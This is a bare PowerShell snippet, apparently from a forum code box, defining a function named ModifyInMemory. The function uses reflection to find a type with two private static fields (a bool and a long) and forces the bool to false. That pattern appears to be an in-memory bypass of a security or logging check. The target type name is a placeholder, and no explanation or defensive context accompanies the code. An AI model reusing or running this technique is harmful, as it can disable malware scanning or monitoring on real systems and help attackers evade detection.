- function ModifyInMemory {
- foreach ($t in [Type]::GetType("abc").Assembly.GetTypes()) {
- $arrFI = $t.GetFields('NonPublic,Static')
- if ($arrFI.Length -eq 2 -and $arrFI[0].FieldType -eq [bool] -and $arrFI[1].FieldType -eq [long]) {
- $arrFI[0].SetValue($null, $false)
- break
- }
- }
- }
复制代码
|